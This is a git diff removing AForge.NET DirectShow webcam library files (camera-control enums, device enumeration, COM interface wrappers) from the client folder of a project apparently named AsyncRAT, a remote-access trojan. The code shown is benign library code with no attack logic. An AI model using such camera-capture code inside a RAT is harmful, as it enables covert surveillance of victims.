diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs
deleted file mode 100644
index 8ab1f6c..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs
+++ /dev/null
@@ -1,67 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2013
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow
-{
- using System;
-
- ///
- /// The enumeration specifies a setting on a camera.
- ///
- public enum CameraControlProperty
- {
- ///
- /// Pan control.
- ///
- Pan = 0,
- ///
- /// Tilt control.
- ///
- Tilt,
- ///
- /// Roll control.
- ///
- Roll,
- ///
- /// Zoom control.
- ///
- Zoom,
- ///
- /// Exposure control.
- ///
- Exposure,
- ///
- /// Iris control.
- ///
- Iris,
- ///
- /// Focus control.
- ///
- Focus
- }
-
- ///
- /// The enumeration defines whether a camera setting is controlled manually or automatically.
- ///
- [Flags]
- public enum CameraControlFlags
- {
- ///
- /// No control flag.
- ///
- None = 0x0,
- ///
- /// Auto control Flag.
- ///
- Auto = 0x0001,
- ///
- /// Manual control Flag.
- ///
- Manual = 0x0002
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs
deleted file mode 100644
index c70e966..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs
+++ /dev/null
@@ -1,193 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow
-{
- using System;
- using System.Runtime.InteropServices;
- using System.Runtime.InteropServices.ComTypes;
- using AForge.Video.DirectShow.Internals;
-
- ///
- /// DirectShow filter information.
- ///
- ///
- public class FilterInfo : IComparable
- {
- ///
- /// Filter name.
- ///
- public string Name { get; private set; }
-
- ///
- /// Filters's moniker string.
- ///
- ///
- public string MonikerString { get; private set; }
-
- ///
- /// Initializes a new instance of the class.
- ///
- ///
- /// Filters's moniker string.
- ///
- public FilterInfo( string monikerString )
- {
- MonikerString = monikerString;
- Name = GetName( monikerString );
- }
-
- ///
- /// Initializes a new instance of the class.
- ///
- ///
- /// Filter's moniker object.
- ///
- internal FilterInfo( IMoniker moniker )
- {
- MonikerString = GetMonikerString( moniker );
- Name = GetName( moniker );
- }
-
- ///
- /// Compare the object with another instance of this class.
- ///
- ///
- /// Object to compare with.
- ///
- /// A signed number indicating the relative values of this instance and value.
- ///
- public int CompareTo( object value )
- {
- FilterInfo f = (FilterInfo) value;
-
- if ( f == null )
- return 1;
-
- return ( this.Name.CompareTo( f.Name ) );
- }
-
- ///
- /// Create an instance of the filter.
- ///
- ///
- /// Filter's moniker string.
- ///
- /// Returns filter's object, which implements IBaseFilter interface.
- ///
- /// The returned filter's object should be released using Marshal.ReleaseComObject().
- ///
- public static object CreateFilter( string filterMoniker )
- {
- // filter's object
- object filterObject = null;
- // bind context and moniker objects
- IBindCtx bindCtx = null;
- IMoniker moniker = null;
-
- int n = 0;
-
- // create bind context
- if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
- {
- // convert moniker`s string to a moniker
- if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 )
- {
- // get device base filter
- Guid filterId = typeof( IBaseFilter ).GUID;
- moniker.BindToObject( null, null, ref filterId, out filterObject );
-
- Marshal.ReleaseComObject( moniker );
- }
- Marshal.ReleaseComObject( bindCtx );
- }
- return filterObject;
- }
-
- //
- // Get moniker string of the moniker
- //
- private string GetMonikerString( IMoniker moniker )
- {
- string str;
- moniker.GetDisplayName( null, null, out str );
- return str;
- }
-
- //
- // Get filter name represented by the moniker
- //
- private string GetName( IMoniker moniker )
- {
- Object bagObj = null;
- IPropertyBag bag = null;
-
- try
- {
- Guid bagId = typeof( IPropertyBag ).GUID;
- // get property bag of the moniker
- moniker.BindToStorage( null, null, ref bagId, out bagObj );
- bag = (IPropertyBag) bagObj;
-
- // read FriendlyName
- object val = "";
- int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero );
- if ( hr != 0 )
- Marshal.ThrowExceptionForHR( hr );
-
- // get it as string
- string ret = (string) val;
- if ( ( ret == null ) || ( ret.Length < 1 ) )
- throw new ApplicationException( );
-
- return ret;
- }
- catch ( Exception )
- {
- return "";
- }
- finally
- {
- // release all COM objects
- bag = null;
- if ( bagObj != null )
- {
- Marshal.ReleaseComObject( bagObj );
- bagObj = null;
- }
- }
- }
-
- //
- // Get filter name represented by the moniker string
- //
- private string GetName( string monikerString )
- {
- IBindCtx bindCtx = null;
- IMoniker moniker = null;
- String name = "";
- int n = 0;
-
- // create bind context
- if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
- {
- // convert moniker`s string to a moniker
- if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 )
- {
- // get device name
- name = GetName( moniker );
-
- Marshal.ReleaseComObject( moniker );
- moniker = null;
- }
- Marshal.ReleaseComObject( bindCtx );
- bindCtx = null;
- }
- return name;
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs
deleted file mode 100644
index dabd30d..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs
+++ /dev/null
@@ -1,138 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow
-{
- using System;
- using System.Collections;
- using System.Runtime.InteropServices;
- using System.Runtime.InteropServices.ComTypes;
- using AForge.Video.DirectShow.Internals;
-
- ///
- /// Collection of filters' information objects.
- ///
- ///
- /// The class allows to enumerate DirectShow filters of specified category. For
- /// a list of categories see .
- ///
- /// Sample usage:
- ///
- /// // enumerate video devices
- /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
- /// // list devices
- /// foreach ( FilterInfo device in videoDevices )
- /// {
- /// // ...
- /// }
- ///
- ///
- ///
- public class FilterInfoCollection : CollectionBase
- {
- ///
- /// Initializes a new instance of the class.
- ///
- ///
- /// Guid of DirectShow filter category. See .
- ///
- /// Build collection of filters' information objects for the
- /// specified filter category.
- ///
- public FilterInfoCollection( Guid category )
- {
- CollectFilters( category );
- }
-
- ///
- /// Get filter information object.
- ///
- ///
- /// Index of filter information object to retrieve.
- ///
- /// Filter information object.
- ///
- public FilterInfo this[int index]
- {
- get
- {
- return ( (FilterInfo) InnerList[index] );
- }
- }
-
- // Collect filters of specified category
- private void CollectFilters( Guid category )
- {
- object comObj = null;
- ICreateDevEnum enumDev = null;
- IEnumMoniker enumMon = null;
- IMoniker[] devMon = new IMoniker[1];
- int hr;
-
- try
- {
- // Get the system device enumerator
- Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum );
- if ( srvType == null )
- throw new ApplicationException( "Failed creating device enumerator" );
-
- // create device enumerator
- comObj = Activator.CreateInstance( srvType );
- enumDev = (ICreateDevEnum) comObj;
-
- // Create an enumerator to find filters of specified category
- hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 );
- if ( hr != 0 )
- throw new ApplicationException( "No devices of the category" );
-
- // Collect all filters
- IntPtr n = IntPtr.Zero;
- while ( true )
- {
- // Get next filter
- hr = enumMon.Next( 1, devMon, n );
- if ( ( hr != 0 ) || ( devMon[0] == null ) )
- break;
-
- // Add the filter
- FilterInfo filter = new FilterInfo( devMon[0] );
- InnerList.Add( filter );
-
- // Release COM object
- Marshal.ReleaseComObject( devMon[0] );
- devMon[0] = null;
- }
-
- // Sort the collection
- InnerList.Sort( );
- }
- catch
- {
- }
- finally
- {
- // release all COM objects
- enumDev = null;
- if ( comObj != null )
- {
- Marshal.ReleaseComObject( comObj );
- comObj = null;
- }
- if ( enumMon != null )
- {
- Marshal.ReleaseComObject( enumMon );
- enumMon = null;
- }
- if ( devMon[0] != null )
- {
- Marshal.ReleaseComObject( devMon[0] );
- devMon[0] = null;
- }
- }
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs
deleted file mode 100644
index c207797..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs
+++ /dev/null
@@ -1,81 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2013
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,
- /// or shutter speed. To obtain this interface, query the filter that controls the camera.
- ///
- [ComImport,
- Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IAMCameraControl
- {
- ///
- /// Gets the range and default value of a specified camera property.
- ///
- ///
- /// Specifies the property to query.
- /// Receives the minimum value of the property.
- /// Receives the maximum value of the property.
- /// Receives the step size for the property.
- /// Receives the default value of the property.
- /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetRange(
- [In] CameraControlProperty Property,
- [Out] out int pMin,
- [Out] out int pMax,
- [Out] out int pSteppingDelta,
- [Out] out int pDefault,
- [Out] out CameraControlFlags pCapsFlags
- );
-
- ///
- /// Sets a specified property on the camera.
- ///
- ///
- /// Specifies the property to set.
- /// Specifies the new value of the property.
- /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Set(
- [In] CameraControlProperty Property,
- [In] int lValue,
- [In] CameraControlFlags Flags
- );
-
- ///
- /// Gets the current setting of a camera property.
- ///
- ///
- /// Specifies the property to retrieve.
- /// Receives the value of the property.
- /// Receives a member of the CameraControlFlags enumeration.
- /// The returned value indicates whether the setting is controlled manually or automatically.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Get(
- [In] CameraControlProperty Property,
- [Out] out int lValue,
- [Out] out CameraControlFlags Flags
- );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs
deleted file mode 100644
index b67fc09..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs
+++ /dev/null
@@ -1,88 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2012
-// contacts@aforgenet.com
-//
-
-using System;
-using System.Runtime.InteropServices;
-
-namespace AForge.Video.DirectShow.Internals
-{
- ///
- /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.
- ///
- [ComImport, System.Security.SuppressUnmanagedCodeSecurity,
- Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IAMCrossbar
- {
- ///
- /// Retrieves the number of input and output pins on the crossbar filter.
- ///
- ///
- /// Variable that receives the number of output pins.
- /// Variable that receives the number of input pins.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount );
-
- ///
- /// Queries whether a specified input pin can be routed to a specified output pin.
- ///
- ///
- /// Specifies the index of the output pin.
- /// Specifies the index of input pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex );
-
- ///
- /// Routes an input pin to an output pin.
- ///
- ///
- /// Specifies the index of the output pin.
- /// Specifies the index of the input pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Route( [In] int outputPinIndex, [In] int inputPinIndex );
-
- ///
- /// Retrieves the input pin that is currently routed to the specified output pin.
- ///
- ///
- /// Specifies the index of the output pin.
- /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex );
-
- ///
- /// Retrieves information about a specified pin.
- ///
- ///
- /// Specifies the direction of the pin. Use one of the following values.
- /// Specifies the index of the pin.
- /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin.
- /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int get_CrossbarPinInfo(
- [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin,
- [In] int pinIndex,
- [Out] out int pinIndexRelated,
- [Out] out PhysicalConnectorType physicalType );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs
deleted file mode 100644
index e72f06e..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs
+++ /dev/null
@@ -1,74 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// This interface sets the output format on certain capture and compression filters,
- /// for both audio and video.
- ///
- ///
- [ComImport,
- Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IAMStreamConfig
- {
- ///
- /// Set the output format on the pin.
- ///
- ///
- /// Media type to set.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Retrieves the audio or video stream's format.
- ///
- ///
- /// Retrieved media type.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType );
-
- ///
- /// Retrieve the number of format capabilities that this pin supports.
- ///
- ///
- /// Variable that receives the number of format capabilities.
- /// Variable that receives the size of the configuration structure in bytes.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetNumberOfCapabilities( out int count, out int size );
-
- ///
- /// Retrieve a set of format capabilities.
- ///
- ///
- /// Specifies the format capability to retrieve, indexed from zero.
- /// Retrieved media type.
- /// Byte array, which receives information about capabilities.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetStreamCaps(
- [In] int index,
- [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType,
- [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps
- );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs
deleted file mode 100644
index cb57dfe..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs
+++ /dev/null
@@ -1,112 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2011
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The interface controls certain video capture operations such as enumerating available
- /// frame rates and image orientation.
- ///
- ///
- [ComImport,
- Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IAMVideoControl
- {
- ///
- /// Retrieves the capabilities of the underlying hardware.
- ///
- ///
- /// Pin to query capabilities from.
- /// Get capabilities of the specified pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags );
-
- ///
- /// Sets the video control mode of operation.
- ///
- ///
- /// The pin to set the video control mode on.
- /// Value specifying a combination of the flags to set the video control mode.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode );
-
- ///
- /// Retrieves the video control mode of operation.
- ///
- ///
- /// The pin to retrieve the video control mode from.
- /// Gets combination of flags, which specify the video control mode.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode );
-
- ///
- /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.
- /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested
- /// because of bandwidth availability. This is only available during video streaming.
- ///
- ///
- /// The pin to retrieve the frame rate from.
- /// Gets frame rate in frame duration in 100-nanosecond units.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate );
-
- ///
- /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections
- /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth
- /// availability.
- ///
- ///
- /// The pin to retrieve the maximum frame rate from.
- /// Index of the format to query for maximum frame rate. This index corresponds
- /// to the order in which formats are enumerated by .
- /// Frame image size (width and height) in pixels.
- /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index,
- [In] System.Drawing.Size dimensions,
- [Out] out long maxAvailableFrameRate );
-
- ///
- /// Retrieves a list of available frame rates.
- ///
- ///
- /// The pin to retrieve the maximum frame rate from.
- /// Index of the format to query for maximum frame rate. This index corresponds
- /// to the order in which formats are enumerated by .
- /// Frame image size (width and height) in pixels.
- /// Number of elements in the list of frame rates.
- /// Array of frame rates in 100-nanosecond units.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetFrameRateList( [In] IPin pin, [In] int index,
- [In] System.Drawing.Size dimensions,
- [Out] out int listSize,
- [Out] out IntPtr frameRate );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs
deleted file mode 100644
index 3c03a31..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs
+++ /dev/null
@@ -1,161 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The IBaseFilter interface provides methods for controlling a filter.
- /// All DirectShow filters expose this interface
- ///
- ///
- [ComImport,
- Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IBaseFilter
- {
- // --- IPersist Methods
-
- ///
- /// Returns the class identifier (CLSID) for the component object.
- ///
- ///
- /// Points to the location of the CLSID on return.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetClassID( [Out] out Guid ClassID );
-
- // --- IMediaFilter Methods
-
- ///
- /// Stops the filter.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Stop( );
-
- ///
- /// Pauses the filter.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Pause( );
-
- ///
- /// Runs the filter.
- ///
- ///
- /// Reference time corresponding to stream time 0.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Run( long start );
-
- ///
- /// Retrieves the state of the filter (running, stopped, or paused).
- ///
- ///
- /// Time-out interval, in milliseconds.
- /// Pointer to a variable that receives filter's state.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetState( int milliSecsTimeout, [Out] out int filterState );
-
- ///
- /// Sets the reference clock for the filter or the filter graph.
- ///
- ///
- /// Pointer to the clock's IReferenceClock interface, or NULL.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetSyncSource( [In] IntPtr clock );
-
- ///
- /// Retrieves the current reference clock.
- ///
- ///
- /// Address of a variable that receives a pointer to the clock's IReferenceClock interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetSyncSource( [Out] out IntPtr clock );
-
- // --- IBaseFilter Methods
-
- ///
- /// Enumerates the pins on this filter.
- ///
- ///
- /// Address of a variable that receives a pointer to the IEnumPins interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int EnumPins( [Out] out IEnumPins enumPins );
-
- ///
- /// Retrieves the pin with the specified identifier.
- ///
- ///
- /// Pointer to a constant wide-character string that identifies the pin.
- /// Address of a variable that receives a pointer to the pin's IPin interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin );
-
- ///
- /// Retrieves information about the filter.
- ///
- ///
- /// Pointer to FilterInfo structure.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int QueryFilterInfo( [Out] out FilterInfo filterInfo );
-
- ///
- /// Notifies the filter that it has joined or left the filter graph.
- ///
- ///
- /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL
- /// if the filter is leaving the graph.
- /// String that specifies a name for the filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
-
- ///
- /// Retrieves a string containing vendor information.
- ///
- ///
- /// Receives a string containing the vendor information.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs
deleted file mode 100644
index 4ef802a..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs
+++ /dev/null
@@ -1,192 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// This interface builds capture graphs and other custom filter graphs.
- ///
- ///
- [ComImport,
- Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface ICaptureGraphBuilder2
- {
- ///
- /// Specify filter graph for the capture graph builder to use.
- ///
- ///
- /// Filter graph's interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetFiltergraph( [In] IGraphBuilder graphBuilder );
-
- ///
- /// Retrieve the filter graph that the builder is using.
- ///
- ///
- /// Filter graph's interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetFiltergraph( [Out] out IGraphBuilder graphBuilder );
-
- ///
- /// Create file writing section of the filter graph.
- ///
- ///
- /// GUID that represents either the media subtype of the output or the
- /// class identifier (CLSID) of a multiplexer filter or file writer filter.
- /// Output file name.
- /// Receives the multiplexer's interface.
- /// Receives the file writer's IFileSinkFilter interface. Can be NULL.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetOutputFileName(
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
- [In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
- [Out] out IBaseFilter baseFilter,
- [Out] out IntPtr fileSinkFilter
- );
-
- ///
- /// Searche the graph for a specified interface, starting from a specified filter.
- ///
- ///
- /// GUID that specifies the search criteria.
- /// GUID that specifies the major media type of an output pin, or NULL.
- /// interface of the filter. The method begins searching from this filter.
- /// Interface identifier (IID) of the interface to locate.
- /// Receives found interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int FindInterface(
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
- [In] IBaseFilter baseFilter,
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID ,
- [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface
- );
-
- ///
- /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.
- ///
- ///
- /// Pin category.
- /// Major-type GUID that specifies the media type of the output pin.
- /// Starting filter for the connection.
- /// Interface of an intermediate filter, such as a compression filter. Can be NULL.
- /// Sink filter, such as a renderer or mux filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RenderStream(
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
- [In, MarshalAs( UnmanagedType.IUnknown )] object source,
- [In] IBaseFilter compressor,
- [In] IBaseFilter renderer
- );
-
- ///
- /// Set the start and stop times for one or more streams of captured data.
- ///
- ///
- /// Pin category.
- /// Major-type GUID that specifies the media type.
- /// interface that specifies which filter to control.
- /// Start time.
- /// Stop time.
- /// Value that is sent as the second parameter of the
- /// EC_STREAM_CONTROL_STARTED event notification.
- /// Value that is sent as the second parameter of the
- /// EC_STREAM_CONTROL_STOPPED event notification.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ControlStream(
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
- [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter,
- [In] long start,
- [In] long stop,
- [In] short startCookie,
- [In] short stopCookie
- );
-
- ///
- /// Preallocate a capture file to a specified size.
- ///
- ///
- /// File name to create or resize.
- /// Size of the file to allocate, in bytes.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AllocCapFile(
- [In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
- [In] long size
- );
-
- ///
- /// Copy the valid media data from a capture file.
- ///
- ///
- /// Old file name.
- /// New file name.
- /// Boolean value that specifies whether pressing the ESC key cancels the copy operation.
- /// IAMCopyCaptureFileProgress interface to display progress information, or NULL.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int CopyCaptureFile(
- [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName,
- [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName,
- [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort,
- [In] IntPtr callback
- );
-
- ///
- ///
- ///
- ///
- /// Interface on a filter, or to an interface on a pin.
- /// Pin direction (input or output).
- /// Pin category.
- /// Media type.
- /// Boolean value that specifies whether the pin must be unconnected.
- /// Zero-based index of the pin to retrieve, from the set of matching pins.
- /// Interface of the matching pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int FindPin(
- [In, MarshalAs( UnmanagedType.IUnknown )] object source,
- [In] PinDirection pinDirection,
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
- [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
- [In, MarshalAs( UnmanagedType.Bool )] bool unconnected,
- [In] int index,
- [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin
- );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs
deleted file mode 100644
index 81e4b59..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs
+++ /dev/null
@@ -1,37 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
- using System.Runtime.InteropServices.ComTypes;
-
- ///
- /// The ICreateDevEnum interface creates an enumerator for devices within a particular category,
- /// such as video capture devices, audio capture devices, video compressors, and so forth.
- ///
- ///
- [ComImport,
- Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface ICreateDevEnum
- {
- ///
- /// Creates a class enumerator for a specified device category.
- ///
- ///
- /// Specifies the class identifier of the device category.
- /// Address of a variable that receives an IEnumMoniker interface pointer
- /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags );
- }
-}
